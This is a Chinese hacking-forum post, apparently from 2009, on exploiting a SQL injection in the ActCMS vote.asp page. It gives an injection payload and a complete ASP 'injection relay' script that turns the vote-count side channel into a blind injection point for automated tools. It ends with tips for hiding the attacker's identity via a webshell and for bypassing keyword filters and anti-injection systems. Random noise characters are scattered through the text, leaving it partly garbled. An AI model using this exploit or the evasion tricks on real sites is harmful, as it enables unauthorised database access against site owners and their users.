7 }0 ^8 y/ I1 r( l5 M, X1 T' L看到ninty大牛的blog的一篇文章
% R5 z8 Q5 _; x* e5 D, G/ \4 c/ |链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
; V5 G4 |- u+ D, s5 p( S4 `' E关于actcms漏洞的利用 by 3x qq:381862589. r4 v) I2 |# y, S
转载请注明以上
! a$ w0 C% {; L# J; A" K, c. E漏洞文件:: {4 y9 V- L; y8 s
/plus/vote/vote.asp0 Y) Z" ^8 n% D+ U5 |
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
0 \- ?( \) T+ h5 C/ \& }+ n
# U8 |; j, Z ]5 ^5 O# \9 ^! q2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
" C9 |6 t n# G" x/ d2 @- z$ N1 W; C! j
3 response.end V: O1 r7 U' ]4 R
# j, a" o3 C" K3 `% U- T0 J
4 end if
! {, z* ]6 G& F' h8 N
& T/ y. D- x2 m- c3 C) C8 v* Z5 for i=1 to request("voted").count
8 ?' ^) |+ ?- S+ V' F0 }
) v4 l; R, a9 `2 _: e6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) + q9 \ k0 e$ N: ^: [
0 s0 p. u8 i$ p* _$ c. \! z7 next
& r( \ y. p& R! i/ ^+ ]# A( r0 S0 E: x
8....
2 o- @+ h5 \( e& y8 S6 o, K# e! h) K# D" R6 F) J
9response.Redirect "index.asp?id="&id&""
" A; S, E1 L! c' h# T投票结束回跳转回index.asp这个投票结果页面
5 L0 |) G; e: P9 h. O* b6 c如果投票成功票数加1
6 x% I u r6 t* q- | N 失败票数不变
8 I9 g4 B9 B- k如图:4 M- h' ^6 b( e" |4 @, t
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
* D& h* z# Y) r/ s
! Y, n* p7 B) k7 b2009-12-27 13:20
8 K, J9 b( P, B* ` B1 j5 H
" X3 V# c# i8 H+ }利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了! N# _# z( `7 q
% l% Y ^$ }* ]0 G* D
本帖隐藏的内容需要回复才可以浏览
6 j2 O- J- n+ B' d9 X' Y我们用注入中转来实现这个注入具体代码如下:0 W H/ E1 K: ^6 A
先用寂寞的刺猬大牛的注入中转生成jmget.asp! l* I( M7 {* ~" V
注入地址:http://localhost/actcms/plus/vote/vote.asp
2 B; v! N5 n+ Y0 `" @ q注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项, l- P2 |; ?0 ]6 r" |/ a
. B- N1 `" o4 j! `9 H0 S+ t3 |! @
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
# `+ G5 T- c$ ^2 g* ~+ X0 O' v1 e& e
02JmdcwName=request("jmdcw") * t3 f. H, k+ z
8 f+ O" d9 h Q& u3 N03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 9 n7 ~7 x& I( _
- \! G% b: m- `7 `+ N" G- h
04JmStr="id=1&voted=-1 or 1="&JmdcwName " T2 x/ [ `) ~: S
! S+ k; v& a' G2 f05JmStr=URLEncoding(JmStr)
b5 _3 w0 W$ p& B5 d1 v' S6 r" l3 u* Y. p0 Z- x* i1 S K, ~
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp". U* y. P" k) R
. ~( @2 g1 r: G; I% Y
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
# s3 s. `# ^* X# o, M4 R! a2 W3 D/ D( t" ~, b6 F+ N5 X/ \% p
08testurl=testurl & "?" & JmStr
) F2 O1 z9 u/ }" g- N
! r/ L# f) N2 _' b09JMUrl=JMUrl & "?" & JmStr
& P4 x' a6 `5 m8 P+ g; s! P, ?& R. c
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
- `9 v# K' s" z0 }( k+ X8 I! F u* M! Q2 v+ g" A3 e7 W8 l; q" d6 H
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
) p" @, G9 p$ T1 l q! ]! x/ e3 T2 x, `
12JmCok=replace(JmCok,chr(32),"%20") ( f$ g: b/ I/ L( N- D9 }& v4 e
6 }5 u' m. ]" J( E- f7 T
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! ^. ]5 @7 B7 l# n. }' R( G5 k( `1 C5 Z' f9 Y
14 / f0 e$ Y; c3 I, E6 \
* P& @4 P# } Y ?) h
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
) Q+ w" |. J6 l0 q# q
# s* k1 V' x8 ^: g: @16 & m- T9 F) O. `0 p% W0 l
4 N0 y4 z" d8 U6 K$ t5 q
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
) z8 z$ O; k+ k" ^- \$ J# M: r" |- j3 r. M- d" f5 b4 U
18response.write test1&""&test2&""+ p& g8 g9 F8 `
W0 x( h8 L0 B4 z* V5 s
19 6 L' Y( u2 k1 A$ d1 l6 j7 g
7 l0 g: j/ G! l7 L* Z9 n* j* P
20if test1=test2 then '如前后记录相等,表示失败
3 d: g, u2 T) r7 D( q, b* v) m" l9 Q4 @$ K/ g T
21 response.write "failed"9 C- [3 F: o8 L1 n: m2 V
3 Z' j/ m+ I1 v! q6 ^! K22else
. {& Z4 x& w6 N, x+ y" f F/ N) G0 L5 ]
23 response.write "succeed"6 G* h0 o! j( ~2 ~# G5 Y
$ Q$ k4 |: H2 e+ l3 T( m8 c- `24end if ' c8 b8 \1 Z# @6 V+ D
. z8 S2 n$ m* D8 L. V( `$ j# d25
; \( l' q, {' w! d3 C
, A7 ]/ m( N$ `9 ~: L3 Q, I' K26response.write "by 3x"
' s! S& o* W9 C q8 @7 N4 s' S( Y' c) L4 l5 l( f# q
27 4 |5 [% R/ ~& O6 O3 H
$ C' |% u# V9 r* [) s+ m( ^28
" U3 D) S. g7 l: b
0 p }( P5 T0 T% I& X29Function PostData(PostUrl,PostStr,PostCok,PostRef) . _ I* |$ D! G2 b/ k: @. }. h
4 v+ b$ E+ i. a5 p- `$ ~30Dim Http
" Z0 A- C' t/ j& N5 r$ z6 Q" M5 Z3 K9 _ _9 ?' r
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; k- G) @: p+ q; E) `8 i" f! @6 c; Y0 E% B, |1 ?+ ~! t" r' r" B8 {
32With Http
) U R- C! L. k- ^/ m$ @
7 G- H2 r1 v4 G4 D1 o33 4 D9 v: W( c/ |0 o
4 ]& e( a8 @; {1 D O( H9 G
34.Open "GET",PostUrl,False% L% b3 S8 {% I
- i; L" F+ I. }2 p; y! d/ T4 D' E35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"+ z4 q5 \& @* d/ m% u0 X
" U) @, }, ] a5 @( @+ v36.SetRequestHeader "Referer",PostRef
: u$ t1 G+ H* q4 h1 M/ f0 R
7 b% [1 R; u. t2 i37.SetRequestHeader "Cookie",PostCok
. O) J( ]; h$ G5 i% s2 Z7 q Y) h1 m/ C2 h Y% s) H$ @6 U6 V
38.Send ()
: R0 r6 O1 j8 u! u1 j8 o, c! ~' g$ d- F2 S1 O' u, d
39PostData = .ResponseBody # B. Z* T3 m- C6 m/ O
m& d4 g; `; j9 p" E) O5 H+ P' d$ \
40End With
2 b8 u# O+ O4 b" T7 O% z' u: l- o5 }
41Set Http = Nothing
Y* \$ L; S' X1 x) [
) U5 u( D* }) a1 s42PostData =bytes2BSTR(PostData)
5 z6 W7 R8 b Z: ]+ e
) d' v) m4 x Q# l! _43End Function1 I! F# c7 k' b: S4 V
# D2 C6 A/ l9 Q; i+ m# \9 m1 [0 s
44 : k q* {$ Z* T1 l9 i$ M! z& {
# X# h8 [& w' w1 u" }! D
45 8 L) s% h1 w4 ~: ]
1 F; n. b+ c, m+ E2 _* N& j( j1 {
46Function bytes2BSTR(vIn) ( t- f. k2 t% F7 T% d- A* |; J/ j
* C! r; j+ [! z( P% c3 c47Dim strReturn
. j4 ~2 B! i5 u6 ?$ Z
: L% C1 I. c8 g+ p" e) i- x48Dim I, ThisCharCode, NextCharCode
# r z' M/ g% f' ~8 ~
, C R/ X; A6 z& x/ h" }) w5 b49strReturn = ""- X. o7 p- c! d
9 C- H' D- C F# Y; [9 C! H
50For I = 1 To LenB(vIn)
/ I& u& {7 i$ D: u- ]; `9 ~! a( J/ Q! `4 ^/ |0 } ]( G$ L
51ThisCharCode = AscB(MidB(vIn, I, 1))
6 O: f8 ]0 K/ A" G9 ]+ S0 U; U2 N, i9 b5 t8 P# t o1 G
52If ThisCharCode < &H80 Then
' A0 V3 S) A- U" d; G9 b0 {/ u S; }
53strReturn = strReturn & Chr(ThisCharCode)
1 m; G+ q! Y& M* R: E+ }' v9 T( I+ {% ]
54Else0 ^) b" p' m! ? w0 y. S- i" C' G
; A; p. F2 l) | q55NextCharCode = AscB(MidB(vIn, I + 1, 1)) * g5 L0 a+ v3 D- G2 [& v4 D( M! p
- a( ~: s$ q+ B- M7 T
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) : D Y6 W" H1 I7 A- h& V
* _4 |$ h" p/ v, V9 ?
57I = I + 1
0 ~ ^! O, V, `( _# i9 @# I+ b: W9 T0 n2 V) j" }
58End If
# i) b8 A, [% ~$ i2 K# p% q- v$ S4 E+ c3 h; Z# A
59Next
7 Y9 d' e' Z% z
0 F9 {/ H2 F, c/ r( G3 Q60bytes2BSTR = strReturn
+ y" p, i* I1 ]) J0 ]- @1 O% V- _. ~$ O0 N! o; p* W8 l
61End Function
% i E4 ?3 p1 H) J
8 p% e; I' V/ i$ J. Y+ S! F+ _2 q$ G% m62
& U6 [& ^0 H3 ^7 R. h2 n/ @" x5 b* \ H
63Function URLEncoding(vstrin)
' a% {1 F o o/ Y3 B! l
# X! U& M7 V/ {! r. H2 P+ }& e64strReturn=""
' w, e6 M! |( i$ n' D3 ^- i0 h# a' Z$ H t8 r$ O1 Y. f- A" o
65Dim i - r0 X7 ~8 T7 ~0 ~7 a D9 Z, u2 m+ o
( P* f6 N4 v0 c/ |
66For i=1 To Len(vstrin)
* U: z! b4 d7 ~) U
* Z- ]% y! c3 w$ P* u! d67ThisChr=Mid(vstrin,i,1) ! ^7 W. c/ F& U8 d3 m. e, H
" c# N3 {9 z7 M6 K
68if Abs(Asc(ThisChr))< &HFF Then- Q( C0 d$ x# D; v+ }- n
8 J. a3 J4 N. t2 h0 A7 |69strReturn=strReturn & ThisChr ( d# v: L7 E3 T5 j6 d4 ?. m$ t
1 a- h, I9 z/ w, U" c
70Else9 P/ L2 G" b( _3 A
5 y+ Q" M# C) I0 l$ l
71InnerCode=Asc(ThisChr)
* V6 o, ?, z* `4 X6 @8 c' M6 R, D& y/ H
72If InnerCode<0 Then8 n- D; H) Z0 T: Q
0 O6 j) v K) U# M. B; T. D
73InnerCode=InnerCode + &H10000 : b$ r# Y8 K3 E5 g
# B8 c0 o8 E( Y, V; |, ?74End If
# u* ]6 X: O, [, `/ R& E, u t! e% n, j6 ?( l: B7 o
75Hight1=(InnerCode And &HFF00) \&HFF 2 Q$ ~$ z( v; w% C I8 c* t8 {5 r5 h
& M/ @6 ?$ f4 H8 {5 M76Low1=InnerCode And &HFF / z5 p1 z, P$ n# M
? c9 t# x) H6 {1 K
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ( G; O$ I4 ]- n; U8 G
* e8 R9 C, r- B
78End if
; o8 x8 u3 ~, @# v+ {+ t: W; P2 H
8 V: O: a" X" M, j E79Next
0 z- t. g) Q$ u4 T
) F' \4 d( z. D, {80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 6 `" G# p6 `$ D3 H& |/ A
4 T4 s& x* G5 w5 A$ l& b* T1 {/ ]" {
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
3 K" z m2 ^% l" f0 \9 v8 C6 s
: M& M( S5 F: y82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 2 m% Q4 z* v0 O* k+ c
; H# D- ~' y* t1 I0 @83URLEncoding=strReturn - ~4 V2 D. V$ v: Z$ M
2 K# E5 N( @4 \5 {3 }- p3 u84End Function
+ s: K3 V1 j0 X/ d
! Y" @1 K# G4 R* ]5 B9 |% z85 ) i- D3 g' d) O0 t
+ x ~" o( v3 C8 c86function getSt(body) : }# Q' B4 r. c8 ^- u
# T! ~2 l9 b% a, o9 ]
87 startpot=instr(body,"投票人数:")+len("投票人数:") : s3 u' c. ]7 E% l [
9 c) t7 i7 i3 S! E e88 endpot=instr(startpot,body," ")
% A. t: l u h- R* k$ f6 U
$ l |0 Q6 y' y6 _89 getSt=mid(body,startpot,endpot-startpot) 0 E% F Q1 g* e
- K5 K5 G6 |$ i0 V0 ~90end function
6 q0 Q* ^' q6 B9 z/ G; r7 n' I
( O6 o: Z" H5 i( M4 G3 `% F- a91%>
0 r$ q: _, Z X# b$ }# D注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
4 {" [$ d8 y* t% K3 A1 ^" t9 \测试下效果:: |# y' j# y( R9 L. g1 V& V+ \
投票成功:
# C8 x5 d$ l3 }5 _ }9 Fhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
9 s/ N1 G( A# k! R( D H- ^. ], t+ U( I: A' s
2009-12-27 13:29
: V$ J( r$ }) x5 z3 Y& J& |* y投票失败
- _, k3 W) I9 j0 r+ A' z6 C+ V) Nhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)0 G) N0 B$ U4 [* P
) y6 P) ]: j& Q( B0 }1 _2009-12-27 13:29* ^% f1 p/ e8 `! a
-------------------------------------------------------------------------------* h' l9 Y# s- _' Z
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
r; o0 q/ Z( K很抱歉。。。只能用单线程工具去注入。。。。。
' `9 j5 e- R- R' x2 I所以失败。。。不好意思。。。
% f' I! i8 g0 F# @( K-------------------------------------------------------------------------------5 p3 e0 {- T9 y$ C1 J
+ c% j* V/ _0 V) f o
注入中转的一些其他应用; p2 w' s6 V! v! c5 M
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了. B) H) i$ D% e, a/ O" }# y) Y% L
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
) P/ ?: k8 [! r0 p0 n3 x5 |: i2.post注入转成get型的注入,方便我们使用工具来跑
1 P1 \: y! U" _. L3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")% T% I8 H* x7 b& Z+ O. H8 E
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过$ x9 B+ @8 n4 S" X# d
E, o% \! ]" @0 o9 B |